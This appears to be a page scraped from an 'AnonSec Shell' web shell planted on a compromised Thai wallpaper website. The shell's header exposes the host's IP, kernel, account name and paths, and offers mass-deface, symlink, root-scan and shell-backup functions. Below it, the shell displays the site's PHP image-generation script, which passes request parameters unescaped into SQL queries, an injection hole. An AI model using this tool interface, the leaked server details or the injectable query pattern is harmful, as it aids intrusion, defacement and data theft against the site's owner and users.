AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/kainumber.com/wallpaper/profile/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/kainumber.com/wallpaper/profile/download_test.php
<?php
include('../include/class.php');
date_default_timezone_set("Asia/Bangkok");
putenv('GDFONTPATH=' . realpath('.'));
$date = date("YmdHis");
$list = array('table'=>'wal_order','where'=>'id = "'.$_GET['id'].'"');
$view = $view_db->view($list);
$row = $view_db->q($view);
$id_order = $row['id_order'];
$list = array('table'=>'wallpapers','where'=>'id = "'.$row['image'].'" AND status = "1"');
$view = $view_db->view($list);
$row1 = $view_db->q($view);

// (A) OPEN IMAGE
//$img = imagecreatefromjpeg("../../redbag/wallpaper/".$row1['image']);

if($row1['date']==1){
  if($row['date']=='sun'){$bg = "../../redbag/wallpaper/".$row1['bg_sun'];}
  if($row['date']=='mon'){$bg = "../../redbag/wallpaper/".$row1['bg_mon'];}
  if($row['date']=='tue'){$bg = "../../redbag/wallpaper/".$row1['bg_tue'];}
  if($row['date']=='wed'){$bg = "../../redbag/wallpaper/".$row1['bg_wed'];}
  if($row['date']=='thu'){$bg = "../../redbag/wallpaper/".$row1['bg_thu'];}
  if($row['date']=='fri'){$bg = "../../redbag/wallpaper/".$row1['bg_fri'];}
  if($row['date']=='sat'){$bg = "../../redbag/wallpaper/".$row1['bg_sat'];}
  if($row['date']=='other'){
    if($row1['type']==1){
      if($row1['image_free']!=''){
        $bg = "../../redbag/wallpaper/".$row1['image_free'];
      }else{
        $bg = "../../redbag/wallpaper/".$row1['image'];
      }
    }else{
      $bg = "../../redbag/wallpaper/".$row1['image'];
    }
  }
}elseif($row1['date']==0){
  if($row1['date2']=='sun'){$bg = "../../redbag/wallpaper/".$row1['bg_sun'];}
  if($row1['date2']=='mon'){$bg = "../../redbag/wallpaper/".$row1['bg_mon'];}
  if($row1['date2']=='tue'){$bg = "../../redbag/wallpaper/".$row1['bg_tue'];}
  if($row1['date2']=='wed'){$bg = "../../redbag/wallpaper/".$row1['bg_wed'];}
  if($row1['date2']=='thu'){$bg = "../../redbag/wallpaper/".$row1['bg_thu'];}
  if($row1['date2']=='fri'){$bg = "../../redbag/wallpaper/".$row1['bg_fri'];}
  if($row1['date2']=='sat'){$bg = "../../redbag/wallpaper/".$row1['bg_sat'];}
  if($row1['date2']=='other'){
    if($row1['type']==1){
      if($row1['image_free']!=''){
        $bg = "../../redbag/wallpaper/".$row1['image_free'];
      }else{
        $bg = "../../redbag/wallpaper/".$row1['image'];
      }
    }else{
      $bg = "../../redbag/wallpaper/".$row1['image'];
    }
  }
}else{
  $bg = "../../redbag/wallpaper/".$row1['image'];
}

$src= "../../redbag/wallpaper/".$row1['image'];

function image_type($src){
if(!list($w, $h) = getimagesize($src)) return "Unsupported picture type!";

  $type = strtolower(substr(strrchr($src,"."),1));
  if($type == 'jpeg') $type = 'jpg';
  switch($type){
    case 'bmp': $img = imagecreatefromwbmp($src); break;
    case 'gif': $img = imagecreatefromgif($src); break;
    case 'jpg': $img = imagecreatefromjpeg($src); break;
    case 'png': $img = imagecreatefrompng($src); break;
    default : return "Unsupported picture type!";
  }
  return $img;
}

$img = image_type($bg);
$text_detail = explode(',',$row1['detail_text']);
 
if($row['namefull']<>''){
  if (!preg_match('/[^A-Za-z]/', str_replace(" ", "",$row['namefull']))) // '/[^a-z\d]/i' should also work.
  {
    $fontFile = realpath('../../fonts/'.$text_detail[3]); // CHANGE TO YOUR OWN!
    $fontSize = $text_detail[4];
  }elseif(!preg_match('/[^0-9]/', str_replace(" ", "",$row['namefull']))){
    $fontFile = realpath('../../fonts/ALGER_1.TTF'); // CHANGE TO YOUR OWN!
    $fontSize = $text_detail[4];
  }else{
    $fontFile = realpath('../../fonts/'.$text_detail[0]); // CHANGE TO YOUR OWN!
    $fontSize = $text_detail[1];
  }
}else{
  $tt = 'Kainumber';
  if (!preg_match('/[^A-Za-z]/', str_replace(" ", "",$tt))) // '/[^a-z\d]/i' should also work.
  {
    $fontFile = realpath('../../fonts/'.$text_detail[3]); // CHANGE TO YOUR OWN!
    $fontSize = $text_detail[4];
  }elseif(!preg_match('/[^0-9]/', str_replace(" ", "",$tt))){
    $fontFile = realpath('../../fonts/ALGER_1.TTF'); // CHANGE TO YOUR OWN!
    $fontSize = $text_detail[4];
  }else{
    $fontFile = realpath('../../fonts/'.$text_detail[0]); // CHANGE TO YOUR OWN!
    $fontSize = $text_detail[1];
  }
}
//echo $fontFile;
$color = explode(',',$row1['font_color']);
$fontColor = imagecolorallocate($img, $color[0], $color[1], $color[2]);
$angle = 0;

$iWidth = imagesx($img);
$iHeight = imagesy($img);
/*
echo $iWidth;
echo $iHeight;
echo $src;
echo $bg;
exit();
*/
$bottomY = $row1['position2'];

$jpeg_bg = image_type($bg);

list($newwidth, $newheight) = getimagesize($bg);
$img = imagecreatetruecolor($newwidth, $newheight);
imagecopyresampled($img, $jpeg_bg, 0, 0, 0, 0, $newwidth, $newheight, $newwidth, $newheight);

$png_bg = image_type($src);
//list($newwidth2, $newheight2) = getimagesize($src);
imagecopyresampled($img, $png_bg, 0, 0, 0, 0, $newwidth, $newheight, $newwidth, $newheight);


if($row['zodiac_id']<>0){
  $list2 = array('table'=>'wal_zodiac','where'=>'id = "'.$row['zodiac_id'].'" AND group_z = "'.$row1['zodiac_set'].'"');
  $view2 = $view_db->view($list2);
  $row2 = $view_db->q($view2);
  $png = image_type('../../redbag/wal_zodiac/'.$row2['image']);
  list($width, $height) = getimagesize('../../redbag/wal_zodiac/'.$row2['image']);
  imagecopyresampled($img, $png, $row1['positionz_1'], $row1['positionz_2'], 0, 0, $width, $height, $width, $height); //l,t,r,b
}
if($row['element_id']<>0){
  $list3 = array('table'=>'wal_element','where'=>'id = "'.$row['element_id'].'"');
  $view3 = $view_db->view($list3);
  $row3 = $view_db->q($view3);
  $png2 = image_type('../../redbag/wal_element/'.$row3['image']);
  list($width2, $height2) = getimagesize('../../redbag/wal_element/'.$row3['image']);
  imagecopyresampled($img, $png2, $row1['positione_1'], $row1['positione_2'], 0, 0, $width2, $height2, $width2, $height2);
}
$icon1 = explode(",",$row1['detail_icon1']);
if($icon1[5]<>0){

  $png3 = image_type('../../redbag/wallpaper/'.$icon1[2]);
  list($width3, $height3) = getimagesize('../../redbag/wallpaper/'.$icon1[2]);
  imagecopyresampled($img, $png3, $icon1[0], $icon1[1], 0, 0, $width3, $height3, $width3, $height3); //l,t,r,b
}
$icon2 = explode(",",$row1['detail_icon2']);
if($icon2[5]<>0){

  $png4 = image_type('../../redbag/wallpaper/'.$icon2[2]);
  list($width4, $height4) = getimagesize('../../redbag/wallpaper/'.$icon2[2]);
  imagecopyresampled($img, $png4, $icon2[0], $icon2[1], 0, 0, $width4, $height4, $width4, $height4); //l,t,r,b
}
$icon3 = explode(",",$row1['detail_icon3']);
if($icon3[5]<>0){

  $png5 = image_type('../../redbag/wallpaper/'.$icon3[2]);
  list($width5, $height5) = getimagesize('../../redbag/wallpaper/'.$icon3[2]);
  imagecopyresampled($img, $png5, $icon3[0], $icon3[1], 0, 0, $width5, $height5, $width5, $height5); //l,t,r,b
}
$icon4 = explode(",",$row1['detail_icon4']);
if($icon4[5]<>0){

  $png6 = image_type('../../redbag/wallpaper/'.$icon4[2]);
  list($width6, $height6) = getimagesize('../../redbag/wallpaper/'.$icon4[2]);
  imagecopyresampled($img, $png6, $icon4[0], $icon4[1], 0, 0, $width6, $height6, $width6, $height6); //l,t,r,b
}



if($row['namefull'] !=''){
  if(@$row['namefull']){
    $txt = $row['namefull'];
    $txt = mb_convert_encoding($txt, 'HTML-ENTITIES', 'UTF-8');
    $txt = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt);

    // (C3) CENTER THE TEXT BLOCK
    $tSize = imagettfbbox($fontSize, $angle, $fontFile, $txt);
    $tWidth = max([$tSize[2], $tSize[4]]) - min([$tSize[0], $tSize[6]]);
    $tHeight = max([$tSize[5], $tSize[7]]) - min([$tSize[1], $tSize[3]]);


    if($row1['position']=='left'){
      $positionX = CEIL(($iWidth - $tWidth) / 1);
      $positionX = $positionX<0 ? 0 : $positionX;
      $positionX = 0;
    }
    if($row1['position']=='center'){

      $positionX = CEIL(($iWidth - $tWidth) / 2);
      //$positionX = CEIL($positionX - $iWidth);
      $positionX = $positionX<0 ? 0 : $positionX;
    }

    if($row1['position']=='right'){
      $positionX = CEIL(($iWidth - $tWidth) / 1);
      $positionX = $positionX<0 ? 0 : $positionX;
    }

    imagettftext($img, $fontSize, $angle, $positionX, $bottomY, $fontColor, $fontFile, $txt);
  }
  if(@$row['detail'] !=''){
    $txt2 = $row['detail'];
    $txt2 = mb_convert_encoding($txt2, 'HTML-ENTITIES', 'UTF-8');
    $txt2 = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt2);

    $tSize = imagettfbbox($fontSize, $angle, $fontFile, $txt2);
    $tWidth = max([$tSize[2], $tSize[4]]) - min([$tSize[0], $tSize[6]]);
    $tHeight = max([$tSize[5], $tSize[7]]) - min([$tSize[1], $tSize[3]]);

    if($row1['position']=='left'){
      $positionX = CEIL(($iWidth - $tWidth) / 1);
      $positionX = $positionX<0 ? 0 : $positionX;
      $positionX = 0;
    }
    if($row1['position']=='center'){
      $positionX = CEIL(($iWidth - $tWidth) / 2);
      $positionX = $positionX<0 ? 0 : $positionX;
    }

    if($row1['position']=='right'){
      $positionX = CEIL(($iWidth - $tWidth) / 1);
      $positionX = $positionX<0 ? 0 : $positionX;
    }
    $bottomY = $bottomY +150;
    imagettftext($img, $fontSize, $angle, $positionX, $bottomY, $fontColor, $fontFile, $txt2);
  }
  if(@$row['phonenumber']){
    $txt3 = $row['phonenumber'];
    $txt3 = mb_convert_encoding($txt3, 'HTML-ENTITIES', 'UTF-8');
    $txt3 = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt3);

    $tSize = imagettfbbox($fontSize, $angle, $fontFile, $txt3);
    $tWidth = max([$tSize[2], $tSize[4]]) - min([$tSize[0], $tSize[6]]);
    $tHeight = max([$tSize[5], $tSize[7]]) - min([$tSize[1], $tSize[3]]);

    if($row1['position']=='left'){
      $positionX = CEIL(($iWidth - $tWidth) / 1);
      $positionX = $positionX<0 ? 0 : $positionX;
      $positionX = 0;
    }
    if($row1['position']=='center'){
      $positionX = CEIL(($iWidth - $tWidth) / 2);
      $positionX = $positionX<0 ? 0 : $positionX;
    }

    if($row1['position']=='right'){
      $positionX = CEIL(($iWidth - $tWidth) / 1);
      $positionX = $positionX<0 ? 0 : $positionX;
    }
    $bottomY = $bottomY +150;
    imagettftext($img, $fontSize, $angle, $positionX, $bottomY, $fontColor, $fontFile, $txt3);
  }
}else{
  $txt = 'Kainumber';
  $txt = mb_convert_encoding($txt, 'HTML-ENTITIES', 'UTF-8');
  $txt = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt);

  $tSize = imagettfbbox($fontSize, $angle, $fontFile, $txt);
  $tWidth = max([$tSize[2], $tSize[4]]) - min([$tSize[0], $tSize[6]]);
  $tHeight = max([$tSize[5], $tSize[7]]) - min([$tSize[1], $tSize[3]]);

  if($row1['position']=='left'){
    $positionX = CEIL(($iWidth - $tWidth) / 1);
    $positionX = $positionX<0 ? 0 : $positionX;
    $positionX = 0;
  }
  if($row1['position']=='center'){
    $positionX = CEIL(($iWidth - $tWidth) / 2);
    $positionX = $positionX<0 ? 0 : $positionX;
  }

  if($row1['position']=='right'){
    $positionX = CEIL(($iWidth - $tWidth) / 1);
    $positionX = $positionX<0 ? 0 : $positionX;
  }

  imagettftext($img, $fontSize, $angle, $positionX, $bottomY, $fontColor, $fontFile, $txt);
}


/*
echo $row1['detail_random1'];
exit();
*/
$random1 = explode(",",$row1['detail_random1']);
if($random1[5]==1){
  $fontFile_random1 = realpath('../../fonts/'.$random1[2]); // CHANGE TO YOUR OWN!
  $fontSize_random1 = $random1[3];
  $color_random1 = explode(',',$row1['font_color_random1']);
  $fontColor_random1 = imagecolorallocate($img, $color_random1[0], $color_random1[1], $color_random1[2]);
  $angle_random1 = 0;


  $txt_random1 = $random1[4];
  $txt_random1 = mb_convert_encoding($txt_random1, 'HTML-ENTITIES', 'UTF-8');
  $txttxt_random1 = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt_random1);

  $tSize_random1 = imagettfbbox($fontSize_random1, $angle_random1, $fontFile_random1, $txt_random1);
  $tWidth_random1 = max([$tSize_random1[2], $tSize_random1[4]]) - min([$tSize_random1[0], $tSize_random1[6]]);
  $tHeight_random1 = max([$tWidth_random1[5], $tWidth_random1[7]]) - min([$tWidth_random1[1], $tWidth_random1[3]]);

  $positionX_random1 =$random1[0];
  $positionY_random1 =$random1[1];

  imagettftext($img, $fontSize_random1, $angle_random1, $positionX_random1, $positionY_random1, $fontColor_random1, $fontFile_random1, $txt_random1);
}
$random2 = explode(",",$row1['detail_random2']);
if($random2[5]==1){
  $fontFile_random2 = realpath('../../fonts/'.$random2[2]); // CHANGE TO YOUR OWN!
  $fontSize_random2 = $random2[3];
  $color_random2 = explode(',',$row1['font_color_random2']);
  $fontColor_random2 = imagecolorallocate($img, $color_random2[0], $color_random2[1], $color_random2[2]);
  $angle_random2 = 0;


  $txt_random2 = $random2[4];
  $txt_random2 = mb_convert_encoding($txt_random2, 'HTML-ENTITIES', 'UTF-8');
  $txttxt_random2 = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt_random2);

  $tSize_random2 = imagettfbbox($fontSize_random2, $angle_random2, $fontFile_random2, $txt_random2);
  $tWidth_random2 = max([$tSize_random2[2], $tSize_random2[4]]) - min([$tSize_random2[0], $tSize_random2[6]]);
  $tHeight_random2 = max([$tWidth_random2[5], $tWidth_random2[7]]) - min([$tWidth_random2[1], $tWidth_random2[3]]);

  $positionX_random2 =$random2[0];
  $positionY_random2 =$random2[1];

  imagettftext($img, $fontSize_random2, $angle_random2, $positionX_random2, $positionY_random2, $fontColor_random2, $fontFile_random2, $txt_random2);
}
$random3 = explode(",",$row1['detail_random3']);
if($random3[5]==1){
  $fontFile_random3 = realpath('../../fonts/'.$random3[2]); // CHANGE TO YOUR OWN!
  $fontSize_random3 = $random3[3];
  $color_random3 = explode(',',$row1['font_color_random3']);
  $fontColor_random3 = imagecolorallocate($img, $color_random3[0], $color_random3[1], $color_random3[2]);
  $angle_random3 = 0;


  $txt_random3 = $random3[4];
  $txt_random3 = mb_convert_encoding($txt_random3, 'HTML-ENTITIES', 'UTF-8');
  $txttxt_random3 = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt_random3);

  $tSize_random3 = imagettfbbox($fontSize_random3, $angle_random3, $fontFile_random3, $txt_random3);
  $tWidth_random3 = max([$tSize_random3[2], $tSize_random3[4]]) - min([$tSize_random3[0], $tSize_random3[6]]);
  $tHeight_random3 = max([$tWidth_random3[5], $tWidth_random3[7]]) - min([$tWidth_random3[1], $tWidth_random3[3]]);

  $positionX_random3 =$random3[0];
  $positionY_random3 =$random3[1];

  imagettftext($img, $fontSize_random3, $angle_random3, $positionX_random3, $positionY_random3, $fontColor_random3, $fontFile_random3, $txt_random3);
}
$random4 = explode(",",$row1['detail_random4']);
if($random4[5]==1){
  $fontFile_random4 = realpath('../../fonts/'.$random4[2]); // CHANGE TO YOUR OWN!
  $fontSize_random4 = $random4[3];
  $color_random4 = explode(',',$row1['font_color_random4']);
  $fontColor_random4 = imagecolorallocate($img, $color_random4[0], $color_random4[1], $color_random4[2]);
  $angle_random4 = 0;


  $txt_random4 = $random4[4];
  $txt_random4 = mb_convert_encoding($txt_random4, 'HTML-ENTITIES', 'UTF-8');
  $txttxt_random4 = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt_random4);

  $tSize_random4 = imagettfbbox($fontSize_random4, $angle_random4, $fontFile_random4, $txt_random4);
  $tWidth_random4 = max([$tSize_random4[2], $tSize_random4[4]]) - min([$tSize_random4[0], $tSize_random4[6]]);
  $tHeight_random4 = max([$tWidth_random4[5], $tWidth_random4[7]]) - min([$tWidth_random4[1], $tWidth_random4[3]]);

  $positionX_random4 =$random4[0];
  $positionY_random4 =$random4[1];

  imagettftext($img, $fontSize_random4, $angle_random4, $positionX_random4, $positionY_random4, $fontColor_random4, $fontFile_random4, $txt_random4);
}
$random5 = explode(",",$row1['detail_random5']);
if($random5[5]==1){
  $fontFile_random5 = realpath('../../fonts/'.$random5[2]); // CHANGE TO YOUR OWN!
  $fontSize_random5 = $random5[3];
  $color_random5 = explode(',',$row1['font_color_random5']);
  $fontColor_random5 = imagecolorallocate($img, $color_random5[0], $color_random5[1], $color_random5[2]);
  $angle_random5 = 0;


  $txt_random5 = $random5[4];
  $txt_random5 = mb_convert_encoding($txt_random5, 'HTML-ENTITIES', 'UTF-8');
  $txttxt_random5 = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt_random5);

  $tSize_random5 = imagettfbbox($fontSize_random5, $angle_random5, $fontFile_random5, $txt_random5);
  $tWidth_random5 = max([$tSize_random5[2], $tSize_random5[4]]) - min([$tSize_random5[0], $tSize_random5[6]]);
  $tHeight_random5 = max([$tWidth_random5[5], $tWidth_random5[7]]) - min([$tWidth_random5[1], $tWidth_random5[3]]);

  $positionX_random5 =$random5[0];
  $positionY_random5 =$random5[1];

  imagettftext($img, $fontSize_random5, $angle_random5, $positionX_random5, $positionY_random5, $fontColor_random5, $fontFile_random5, $txt_random5);
}



if($row['category_sup_id']<>0){
  $random = explode(",",$row1['detail_random']);
  $list = array('table'=>'wal_log_category_supplement','where'=>'id_c = "'.$row['category_sup_id'].'"','order'=>' ORDER BY rand() LIMIT 1');
  $view = $view_db->view($list);
  $rowr = $view_db->q($view);
  //print_r($view);
  $fontFile_random = realpath('../../fonts/'.$random[2]); // CHANGE TO YOUR OWN!
  $fontSize_random = $random[3];
  $color_random = explode(',',$row1['font_color_random']);
  $fontColor_random = imagecolorallocate($img, $color_random[0], $color_random[1], $color_random[2]);
  $angle_random = 0;
  $style_text = $random[6];

  //$txt_random = $rowr['number'];
  $txt_random = $row['number_random'];
  $txt_random = mb_convert_encoding($txt_random, 'HTML-ENTITIES', 'UTF-8');
  $txttxt_random = preg_replace('~^(&([a-zA-Z0-9]);)~', htmlentities('${1}'), $txt_random);

  if($style_text == 'vertical'){
    $d=0;
    for ($i=0; $i < strlen($txt_random); $i++) {
      $tx = substr($txt_random,$i,1);

      $tSize_random = imagettfbbox($fontSize_random, $angle_random, $fontFile_random, $txt_random);
      $tWidth_random = max([$tSize_random[2], $tSize_random[4]]) - min([$tSize_random[0], $tSize_random[6]]);
      $tHeight_random = max([$tWidth_random[5], $tWidth_random[7]]) - min([$tWidth_random[1], $tWidth_random[3]]);

      if($random[0]=='left'){
        $positionX_random = CEIL(($iWidth - $tWidth_random) / 1);
        $positionX_random = $positionX_random<0 ? 0 : $positionX_random;
        $positionX_random = 0;
      }
      elseif($random[0]=='center'){
        $positionX_random = CEIL(($iWidth - $tWidth_random) / 2);
        $positionX_random = $positionX_random<0 ? 0 : $positionX_random;
      }

      elseif($random[0]=='right'){
        $positionX_random = CEIL(($iWidth - $tWidth_random) / 1);
        $positionX_random = $positionX_random<0 ? 0 : $positionX_random;
      }else{
        $positionX_random =$random[0];
      }

      $positionY_random =$random[1] + $d;


      imagettftext($img, $fontSize_random, $angle_random, $positionX_random, $positionY_random, $fontColor_random, $fontFile_random, $tx);
      $d = $d+$random[7];
    }
  }elseif($style_text == 'horizontal'){
    $tSize_random = imagettfbbox($fontSize_random, $angle_random, $fontFile_random, $txt_random);
    $tWidth_random = max([$tSize_random[2], $tSize_random[4]]) - min([$tSize_random[0], $tSize_random[6]]);
    $tHeight_random = max([$tWidth_random[5], $tWidth_random[7]]) - min([$tWidth_random[1], $tWidth_random[3]]);

    if($random[0]=='left'){
      $positionX_random = CEIL(($iWidth - $tWidth_random) / 1);
      $positionX_random = $positionX_random<0 ? 0 : $positionX_random;
      $positionX_random = 0;
    }
    elseif($random[0]=='center'){
      $positionX_random = CEIL(($iWidth - $tWidth_random) / 2);
      $positionX_random = $positionX_random<0 ? 0 : $positionX_random;
    }

    elseif($random[0]=='right'){
      $positionX_random = CEIL(($iWidth - $tWidth_random) / 1);
      $positionX_random = $positionX_random<0 ? 0 : $positionX_random;
    }else{
      $positionX_random =$random[0];
    }


    $positionY_random =$random[1];

    imagettftext($img, $fontSize_random, $angle_random, $positionX_random, $positionY_random, $fontColor_random, $fontFile_random, $txt_random);

  }
}






function properText($text){
    $text = mb_convert_encoding($text, "HTML-ENTITIES", "UTF-8");
    $text = preg_replace('~^(&([a-zA-Z0-9]);)~',htmlentities('${1}'),$text);
    return($text);
}

exit();
// (E) OUTPUT IMAGE
$namefile='wallmoo-'.$date;
header("Content-type: image/jpeg");
header('Content-disposition: attachment; filename='.$namefile.'.jpg');
readfile(imagejpeg($img));

if($_GET['ag']==1){
  $name_table4='wal_log_order';
  $type=4;
  $st='again';
  $sql = array('table'=>$name_table4,'count'=>'MAX(id) AS max_id');
  $view_sql = $view_db->view($sql);
  $row = $view_db->q($view_sql);
  $max_id = $row['max_id'];

  if($max_id==''){
    $max_id=1;
  }else{
    $max_id=$max_id+1;
  }
  $list = array(
    'table'=>$name_table4,
    'id'=>"'".$max_id."'",
    'id_order'=>"'".$id_order."'",
    'type'=>"'".$type."'",
    'datetime'=>"'".@$date."'",
    'status'=>"'".$st."'"
  );
  $add = $actiondata_db->add_db($list);
}

imagejpeg($img);
imagedestroy($img);

?>

Anon7 - 2022
AnonSec Team